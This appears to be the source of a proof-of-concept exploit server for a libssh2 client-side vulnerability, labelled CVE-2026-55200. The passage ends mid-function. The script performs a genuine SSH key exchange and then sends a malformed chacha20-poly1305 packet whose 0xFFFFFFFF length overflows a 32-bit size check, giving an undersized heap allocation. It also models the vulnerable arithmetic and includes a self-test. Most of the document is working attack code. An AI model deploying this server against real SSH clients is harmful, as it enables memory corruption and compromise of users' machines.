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| #!/usr/bin/env python3
import argparse
import hashlib
import os
import queue
import socket
import struct
import sys
import threading
import time
import traceback
from dataclasses import dataclass
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import padding, rsa, x25519
HOST = ""
PORT = 0
SERVER_IDENT = b"SSH-2.0-libpwn-cve-2026-55200"
LIBSSH2_PACKET_MAXPAYLOAD = 35000
DEFAULT_PACKET_LENGTH = 0xFFFFFFFF
DEFAULT_AUTH_LEN = 16
DEFAULT_MAC_LEN = 0
CLIENT_IDENT = b"SSH-2.0-libpwn-local-libssh2-mock"
KEX_ALGORITHMS = [
"curve25519-sha256",
"curve25519-sha256@libssh.org",
]
HOSTKEY_ALGORITHMS = [
"rsa-sha2-256",
"ssh-rsa",
]
CIPHER_ALGORITHMS = [
"chacha20-poly1305@openssh.com",
]
MAC_ALGORITHMS = [
"hmac-sha2-256",
"hmac-sha1",
]
COMP_ALGORITHMS = [
"none",
]
def u32(value):
return struct.pack(">I", value & 0xFFFFFFFF)
def read_exact(sock, size):
out = bytearray()
while len(out) < size:
chunk = sock.recv(size - len(out))
if not chunk:
raise EOFError("connection closed while reading")
out += chunk
return bytes(out)
def ssh_string(data):
if isinstance(data, str):
data = data.encode()
return u32(len(data)) + data
def ssh_name_list(items):
return ssh_string(",".join(items).encode())
def mpint_bytes(value):
if value == 0:
return b""
raw = value.to_bytes((value.bit_length() + 7) // 8, "big")
if raw[0] & 0x80:
raw = b"\x00" + raw
return raw
def ssh_mpint(value):
return ssh_string(mpint_bytes(value))
def read_ssh_string(buf, offset):
if offset + 4 > len(buf):
raise ValueError("short SSH string length")
size = struct.unpack(">I", buf[offset:offset + 4])[0]
offset += 4
if offset + size > len(buf):
raise ValueError("short SSH string body")
return buf[offset:offset + size], offset + size
def split_namelist(raw):
if not raw:
return []
return raw.decode(errors="strict").split(",")
def first_match(client_items, server_items, label):
for item in client_items:
if item in server_items:
return item
raise RuntimeError(f"client did not offer required {label}; got {client_items!r}")
def build_plain_packet(payload, block_size=8):
padding_len = (-(len(payload) + 5)) % block_size
if padding_len < 4:
padding_len += block_size
packet_length = len(payload) + 1 + padding_len
return u32(packet_length) + bytes([padding_len]) + payload + os.urandom(padding_len)
def parse_plain_packet(packet):
if len(packet) < 5:
raise ValueError("plain packet too short")
packet_length = struct.unpack(">I", packet[:4])[0]
padding_len = packet[4]
if packet_length + 4 != len(packet):
raise ValueError("packet length mismatch")
if padding_len + 1 > packet_length:
raise ValueError("invalid padding length")
return packet[5:4 + packet_length - padding_len]
def read_plain_packet(sock, max_packet=1024 * 1024):
packet_length = struct.unpack(">I", read_exact(sock, 4))[0]
if packet_length < 1 or packet_length > max_packet:
raise ValueError(f"refusing plain packet_length={packet_length}")
body = read_exact(sock, packet_length)
return parse_plain_packet(u32(packet_length) + body)
def send_plain_packet(sock, payload):
sock.sendall(build_plain_packet(payload))
def read_ident(sock):
buf = bytearray()
while True:
ch = read_exact(sock, 1)
if ch == b"\n":
line = bytes(buf).rstrip(b"\r")
if line.startswith(b"SSH-"):
return line
buf.clear()
continue
buf += ch
if len(buf) > 4096:
raise ValueError("SSH banner line too long")
def build_kexinit_payload():
payload = bytearray()
payload.append(20)
payload += os.urandom(16)
payload += ssh_name_list(KEX_ALGORITHMS)
payload += ssh_name_list(HOSTKEY_ALGORITHMS)
payload += ssh_name_list(CIPHER_ALGORITHMS)
payload += ssh_name_list(CIPHER_ALGORITHMS)
payload += ssh_name_list(MAC_ALGORITHMS)
payload += ssh_name_list(MAC_ALGORITHMS)
payload += ssh_name_list(COMP_ALGORITHMS)
payload += ssh_name_list(COMP_ALGORITHMS)
payload += ssh_string(b"")
payload += ssh_string(b"")
payload += b"\x00"
payload += u32(0)
return bytes(payload)
def parse_kexinit_payload(payload):
if not payload or payload[0] != 20:
raise ValueError("expected SSH_MSG_KEXINIT")
offset = 17
names = []
for _ in range(10):
raw, offset = read_ssh_string(payload, offset)
names.append(split_namelist(raw))
return {
"kex": names[0],
"hostkey": names[1],
"c2s_cipher": names[2],
"s2c_cipher": names[3],
"c2s_mac": names[4],
"s2c_mac": names[5],
"c2s_comp": names[6],
"s2c_comp": names[7],
}
def rsa_public_blob(private_key, algorithm):
numbers = private_key.public_key().public_numbers()
return (
ssh_string(algorithm)
+ ssh_string(mpint_bytes(numbers.e))
+ ssh_string(mpint_bytes(numbers.n))
)
def sign_exchange_hash(private_key, hostkey_algorithm, exchange_hash):
if hostkey_algorithm == "rsa-sha2-256":
digest = hashes.SHA256()
elif hostkey_algorithm == "ssh-rsa":
digest = hashes.SHA1()
else:
raise ValueError(f"unsupported hostkey signature algorithm {hostkey_algorithm}")
sig = private_key.sign(exchange_hash, padding.PKCS1v15(), digest)
return ssh_string(hostkey_algorithm) + ssh_string(sig)
def exchange_hash(client_ident, server_ident, client_kexinit, server_kexinit,
hostkey_blob, client_pub, server_pub, shared_int):
h = bytearray()
h += ssh_string(client_ident)
h += ssh_string(server_ident)
h += ssh_string(client_kexinit)
h += ssh_string(server_kexinit)
h += ssh_string(hostkey_blob)
h += ssh_string(client_pub)
h += ssh_string(server_pub)
h += ssh_mpint(shared_int)
return hashlib.sha256(bytes(h)).digest()
def derive_key(shared_int, exchange_hash_value, session_id, letter, length):
seed = ssh_mpint(shared_int) + exchange_hash_value + letter + session_id
out = hashlib.sha256(seed).digest()
while len(out) < length:
out += hashlib.sha256(ssh_mpint(shared_int) + exchange_hash_value + out).digest()
return out[:length]
def rotl32(value, shift):
return ((value << shift) & 0xFFFFFFFF) | (value >> (32 - shift))
def quarter_round(state, a, b, c, d):
state[a] = (state[a] + state[b]) & 0xFFFFFFFF
state[d] = rotl32(state[d] ^ state[a], 16)
state[c] = (state[c] + state[d]) & 0xFFFFFFFF
state[b] = rotl32(state[b] ^ state[c], 12)
state[a] = (state[a] + state[b]) & 0xFFFFFFFF
state[d] = rotl32(state[d] ^ state[a], 8)
state[c] = (state[c] + state[d]) & 0xFFFFFFFF
state[b] = rotl32(state[b] ^ state[c], 7)
def chacha20_block(key, counter, nonce8):
constants = b"expand 32-byte k"
state = [
int.from_bytes(constants[i:i + 4], "little") for i in range(0, 16, 4)
]
state += [
int.from_bytes(key[i:i + 4], "little") for i in range(0, 32, 4)
]
state += [
counter & 0xFFFFFFFF,
(counter >> 32) & 0xFFFFFFFF,
int.from_bytes(nonce8[:4], "little"),
int.from_bytes(nonce8[4:], "little"),
]
working = state[:]
for _ in range(10):
quarter_round(working, 0, 4, 8, 12)
quarter_round(working, 1, 5, 9, 13)
quarter_round(working, 2, 6, 10, 14)
quarter_round(working, 3, 7, 11, 15)
quarter_round(working, 0, 5, 10, 15)
quarter_round(working, 1, 6, 11, 12)
quarter_round(working, 2, 7, 8, 13)
quarter_round(working, 3, 4, 9, 14)
return b"".join(
((working[i] + state[i]) & 0xFFFFFFFF).to_bytes(4, "little")
for i in range(16)
)
def chacha20_xor(key, counter, nonce8, data):
out = bytearray()
block_counter = counter
for offset in range(0, len(data), 64):
stream = chacha20_block(key, block_counter, nonce8)
chunk = data[offset:offset + 64]
out += bytes(a ^ b for a, b in zip(chunk, stream))
block_counter = (block_counter + 1) & 0xFFFFFFFFFFFFFFFF
return bytes(out)
def poly1305_mac(message, key):
r = int.from_bytes(key[:16], "little")
r &= 0x0FFFFFFC0FFFFFFC0FFFFFFC0FFFFFFF
s = int.from_bytes(key[16:], "little")
p = (1 << 130) - 5
acc = 0
for offset in range(0, len(message), 16):
block = message[offset:offset + 16]
n = int.from_bytes(block + b"\x01", "little")
acc = ((acc + n) * r) % p
return ((acc + s) & ((1 << 128) - 1)).to_bytes(16, "little")
def chachapoly_encrypt(key64, seqno, plaintext_without_tag):
if len(key64) != 64:
raise ValueError("chacha20-poly1305@openssh.com requires a 64-byte key")
if len(plaintext_without_tag) < 4:
raise ValueError("packet needs a 4-byte SSH packet_length")
seq = seqno.to_bytes(8, "big")
main_key = key64[:32]
header_key = key64[32:]
encrypted_len = chacha20_xor(header_key, 0, seq, plaintext_without_tag[:4])
encrypted_body = chacha20_xor(main_key, 1, seq, plaintext_without_tag[4:])
encrypted = encrypted_len + encrypted_body
poly_key = chacha20_xor(main_key, 0, seq, b"\x00" * 64)[:32]
return encrypted + poly1305_mac(encrypted, poly_key)
def chachapoly_decrypt(key64, seqno, encrypted_with_tag):
if len(encrypted_with_tag) < 20:
raise ValueError("encrypted packet too short")
seq = seqno.to_bytes(8, "big")
main_key = key64[:32]
header_key = key64[32:]
encrypted = encrypted_with_tag[:-16]
tag = encrypted_with_tag[-16:]
poly_key = chacha20_xor(main_key, 0, seq, b"\x00" * 64)[:32]
expected = poly1305_mac(encrypted, poly_key)
if expected != tag:
raise ValueError("poly1305 tag mismatch")
packet_len = chacha20_xor(header_key, 0, seq, encrypted[:4])
body = chacha20_xor(main_key, 1, seq, encrypted[4:])
return packet_len + body
def build_malformed_plain(packet_length, body_len):
if body_len < 1:
raise ValueError("body_len must be at least 1 so padding_length exists")
return u32(packet_length) + bytes([4]) + b"A" * (body_len - 1)
def build_malformed_wire(key64, seqno, packet_length, body_len, filler_len):
plain = build_malformed_plain(packet_length, body_len)
return chachapoly_encrypt(key64, seqno, plain) + (b"B" * filler_len)
@dataclass
class ArithmeticResult:
accepted: bool
total32: int
allocation: int
fixed_rejects: bool
fullpacket_copy_len: int
gap: int
def model_vulnerable_c_expression(packet_length, mac_len=DEFAULT_MAC_LEN, auth_len=DEFAULT_AUTH_LEN):
rhs32 = (packet_length + mac_len + auth_len) & 0xFFFFFFFF
total32 = (4 + rhs32) & 0xFFFFFFFF
accepted = packet_length >= 1 and 0 < total32 <= LIBSSH2_PACKET_MAXPAYLOAD
fixed_rejects = packet_length > LIBSSH2_PACKET_MAXPAYLOAD
copy_len = (packet_length - 1) & 0xFFFFFFFF
gap = copy_len - total32 if accepted and copy_len > total32 else 0
return ArithmeticResult(accepted, total32, total32 if accepted else 0,
fixed_rejects, copy_len, gap)
def model_vulnerable32(packet_length, mac_len=DEFAULT_MAC_LEN, auth_len=DEFAULT_AUTH_LEN):
total32 = (4 + packet_length + mac_len + auth_len) & 0xFFFFFFFF
accepted = packet_length >= 1 and 0 < total32 <= LIBSSH2_PACKET_MAXPAYLOAD
fixed_rejects = packet_length > LIBSSH2_PACKET_MAXPAYLOAD
copy_len = (packet_length - 1) & 0xFFFFFFFF
gap = copy_len - total32 if accepted and copy_len > total32 else 0
return ArithmeticResult(accepted, total32, total32 if accepted else 0,
fixed_rejects, copy_len, gap)
class MiniSSHExploitServer:
def __init__(self, args):
self.args = args
self.host_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
def serve_once(self):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as listener:
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind((self.args.listen_host, self.args.listen_port))
listener.listen(1)
actual_host, actual_port = listener.getsockname()
print(f"[+] listening on {actual_host}:{actual_port}")
conn, addr = listener.accept()
with conn:
conn.settimeout(self.args.timeout)
print(f"[+] client connected from {addr[0]}:{addr[1]}")
self.handle_client(conn)
def handle_client(self, conn):
seq_out = 0
seq_in = 0
conn.sendall(SERVER_IDENT + b"\r\n")
client_ident = read_ident(conn)
print(f"[+] client ident: {client_ident.decode(errors='replace')}")
client_kexinit = read_plain_packet(conn)
seq_in += 1
client_lists = parse_kexinit_payload(client_kexinit)
chosen_kex = first_match(client_lists["kex"], KEX_ALGORITHMS, "kex")
chosen_hostkey = first_match(client_lists["hostkey"], HOSTKEY_ALGORITHMS, "hostkey")
first_match(client_lists["s2c_cipher"], CIPHER_ALGORITHMS, "server-to-client cipher")
first_match(client_lists["c2s_cipher"], CIPHER_ALGORITHMS, "client-to-server cipher")
first_match(client_lists["s2c_mac"], MAC_ALGORITHMS, "server-to-client mac")
first_match(client_lists["c2s_mac"], MAC_ALGORITHMS, "client-to-server mac")
first_match(client_lists["s2c_comp"], COMP_ALGORITHMS, "server-to-client compression")
first_match(client_lists["c2s_comp"], COMP_ALGORITHMS, "client-to-server compression")
print(f"[+] negotiated {chosen_kex} / {chosen_hostkey} / chacha20-poly1305@openssh.com")
server_kexinit = build_kexinit_payload()
send_plain_packet(conn, server_kexinit)
seq_out += 1
init_payload = read_plain_packet(conn)
seq_in += 1
if not init_payload or init_payload[0] != 30:
raise RuntimeError(f"expected SSH_MSG_KEX_ECDH_INIT, got {init_payload[:1]!r}")
client_pub, offset = read_ssh_string(init_payload, 1)
if offset != len(init_payload) or len(client_pub) != 32:
raise RuntimeError("invalid curve25519 client public key")
server_private = x25519.X25519PrivateKey.generate()
server_pub = server_private.public_key().public_bytes(
serialization.Encoding.Raw,
serialization.PublicFormat.Raw,
)
shared = server_private.exchange(x25519.X25519PublicKey.from_public_bytes(client_pub))
if shared == b"\x00" * 32:
raise RuntimeError("invalid all-zero curve25519 shared secret")
shared_int = int.from_bytes(shared, "big")
hostkey_blob = rsa_public_blob(self.host_key, chosen_hostkey)
h = exchange_hash(client_ident, SERVER_IDENT, client_kexinit, server_kexinit,
hostkey_blob, client_pub, server_pub, shared_int)
session_id = h
signature = sign_exchange_hash(self.host_key, chosen_hostkey, h)
reply = b"\x1f" + ssh_string(hostkey_blob) + ssh_string(server_pub) + ssh_string(signature)
send_plain_packet(conn, reply)
seq_out += 1
send_plain_packet(conn, b"\x15")
seq_out += 1
print("[+] sent SSH_MSG_NEWKEYS")
try:
newkeys = read_plain_packet(conn)
seq_in += 1
if newkeys != b"\x15":
print(f"[!] expected client NEWKEYS, got {newkeys[:1]!r}; continuing")
else:
print("[+] received client SSH_MSG_NEWKEYS")
except Exception as exc:
print(f"[!] did not read client NEWKEYS before trigger: {exc}")
key_s2c = derive_key(shared_int, h, session_id, b"D", 64)
trigger_seq = seq_out
wire = build_malformed_wire(
key_s2c,
trigger_seq,
self.args.packet_length,
self.args.body_len,
self.args.filler_len,
)
conn.sendall(wire)
print(f"[+] sent malformed chacha/poly1305 trigger at server seq={trigger_seq}")
print(f"[+] trigger bytes={len(wire)} packet_length=0x{self.args.packet_length:08x}")
time.sleep(self.args.hold_open)
def self_test(args):
key = bytes(range(64))
seqno = 3
wire = build_malformed_wire(key, seqno, args.packet_length, args.body_len, args.filler_len)
encrypted_part = wire[:-args.filler_len] if args.filler_len else wire
decrypted = chachapoly_decrypt(key, seqno, encrypted_part)
decoded_len = struct.unpack(">I", decrypted[:4])[0]
arith = model_vulnerable_c_expression(args.packet_length, DEFAULT_MAC_LEN, DEFAULT_AUTH_LEN)
print("[self-test] chacha20-poly1305@openssh.com packet generator")
print(f"packet_length=0x{decoded_len:08x} ({decoded_len})")
print(f"encrypted_fragment_len={len(encrypted_part)}")
print(f"filler_len={args.filler_len}")
print(f"body_len={args.body_len}")
print(f"vulnerable_c_expression_accepted={arith.accepted}")
print(f"vulnerable_c_expression_allocation={arith.allocation}")
print(f"fixed_rejects={arith.fixed_rejects}")
print(f"fullpacket_style_length={arith.fullpacket_copy_len}")
print(f"allocation_gap={arith.gap}")
if decoded_len != args.packet_length:
|
